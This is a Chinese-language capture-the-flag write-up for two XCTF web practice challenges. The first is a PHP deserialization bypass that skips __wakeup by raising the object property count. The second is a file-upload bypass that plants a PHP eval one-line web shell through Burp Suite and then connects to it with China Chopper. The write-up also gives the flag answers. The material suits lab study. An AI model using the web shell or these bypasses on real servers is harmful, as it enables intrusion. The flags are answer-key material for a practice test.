攻防世界web练习
二十二、unserialize3(序列化)
http://111.200.241.244:54303/
- 打开环境,出现如下代码
class xctf{ //类
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=
__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了,但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化,利用php中的new运算符,实例化类xctf。
new 是申请空间的操作符,一般用于类。比如定义了一个
class a{public i=0;}
$c=new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0
如果直接传参给code会被wakeup()函数再次序列化,所以要绕过,利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
序列化返回的字符串格式
O:<length>:"<class name>":<n>:{<field name 1><filed value 1>...<filed name n><filed value n>}
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值
- 写代码执行
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo(serialize($a));
?>
- 运行结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
- 修改属性值< n >,即把1改为2或以上,传参给code得到flag
the answer is : cyberpeace{70daf7b0b3248a5f689a901f3c0950b2}
二十三、upload1(上传)
111.200.241.244:64572
步骤:
- 打开环境,要求上传文件,想到上传一句话木马
- 上传一句话木马:<?php @eval($_POST[root]); ?>,文件为1.php,回显上传文件要为图片
- 改文件名为1.jpg,打开burp suite,再次上传,截取、在rew中修改文件名为1.php
- 发送给重发器,确定没问题后发送,得到响应,显示upload success : upload/1637064528.1.php
- 用菜刀连接:(http: //111.200.241.244:55072/upload/1637064528.1.php root)
- 在/var/www/html/下看到flag.php,打开它,得到flag值:cyberpeace{594ac95466dbd9d85b82fdfa4cfe5c61}